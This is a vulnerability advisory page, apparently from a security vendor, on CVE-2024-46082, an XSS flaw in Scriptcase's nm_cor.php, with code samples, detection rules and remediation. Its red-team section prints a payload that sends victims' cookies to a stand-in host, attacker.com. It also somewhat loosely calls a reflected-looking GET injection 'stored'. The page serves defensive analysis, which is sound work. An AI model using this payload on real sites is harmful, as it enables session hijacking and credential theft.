CVE-2024-46082
Executive Summary
CVE-2024-46082 identifies a stored Cross-Site Scripting (XSS) vulnerability in Scriptcase version 9.10.023 and earlier. The flaw resides in the nm_cor.php file, where the form and field parameters are not properly sanitized before being rendered in the browser. An attacker can inject arbitrary JavaScript code, which will execute in the context of the victim's session when they view the affected page. This can lead to session hijacking, credential theft, or defacement. No official patch has been released by the vendor at the time of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed to trigger the injection.
- User Interaction (UI): Required (R) – The victim must click a link or visit a crafted page.
- Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct impact on availability.
CVSS Score: 6.1 (Medium)
Threat Level: Medium – Exploitation is straightforward but requires user interaction.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the nm_cor.php script. The form and field parameters are used to dynamically generate color picker or form field elements. The application fails to encode or sanitize these inputs before embedding them into the HTML response. An attacker can craft a URL like:
http://target/scriptcase/nm_cor.php?form=<script>alert('XSS')</script>&field=test
When a user visits this URL, the injected script executes in their browser. Because the input is stored (e.g., in a session or database), the XSS can persist across requests, affecting other users who view the same page.
The root cause is the lack of output encoding. The nm_cor.php script likely uses echo or print to output the parameter values directly into the HTML without using htmlspecialchars() or equivalent escaping functions.
Vulnerable vs. Patched Code
Vulnerable Code (Scriptcase <= 9.10.023):
// nm_cor.php (simplified)
$form = $_GET['form'];
$field = $_GET['field'];
echo "<div id='colorpicker' data-form='$form' data-field='$field'></div>";
Patched Code (Hypothetical):
// nm_cor.php (patched)
$form = htmlspecialchars($_GET['form'], ENT_QUOTES, 'UTF-8');
$field = htmlspecialchars($_GET['field'], ENT_QUOTES, 'UTF-8');
echo "<div id='colorpicker' data-form='$form' data-field='$field'></div>";
The patched version uses htmlspecialchars() to encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
- Setup: Deploy a local instance of Scriptcase 9.10.023 (e.g., using Docker or a LAMP stack).
- Craft Payload: Use a simple JavaScript payload to steal cookies:
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script> - Inject: Send the victim a link:
http://target/scriptcase/nm_cor.php?form=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>&field=test - Capture: Set up a listener on
attacker.comto receive the stolen cookies.
Blue Team (Detection & Hardening)
- Monitor Logs: Look for requests to
nm_cor.phpcontaining<script>oronerror=patterns. - WAF Rules: Block requests with suspicious characters in
formorfieldparameters. - Input Validation: Implement server-side validation to reject non-alphanumeric input.
- Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
nm_cor.phpwithformorfieldparameters containing<script>,onerror,onload, orjavascript:. - File: Modified
nm_cor.phpfile (if attacker gains write access). - Log: Web server logs showing unusual
GETrequests to/scriptcase/nm_cor.phpwith encoded JavaScript. - Cookie: Unexpected
document.cookiemodifications or exfiltration attempts.
Detection Engineering
YARA Rule
rule CVE_2024_46082_XSS_Scriptcase {
meta:
description = "Detects XSS attempts against Scriptcase nm_cor.php"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-46082"
strings:
$xss1 = "<script" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
$param1 = "nm_cor.php" nocase
condition:
$param1 and any of ($xss*)
}
Sigma Rule
title: CVE-2024-46082 XSS Attempt on Scriptcase nm_cor.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts targeting Scriptcase nm_cor.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'nm_cor.php'
cs-uri-query|contains|any:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in form names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-46082 XSS Attempt on Scriptcase nm_cor.php"; flow:to_server,established; content:"nm_cor.php"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or restrict access to
nm_cor.phpvia.htaccessor firewall rules. - Short-term: Apply input validation and output encoding to the
formandfieldparameters. - Long-term: Upgrade to a patched version of Scriptcase when available. If no patch is released, consider migrating to an alternative solution.
- Compensating Controls: Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.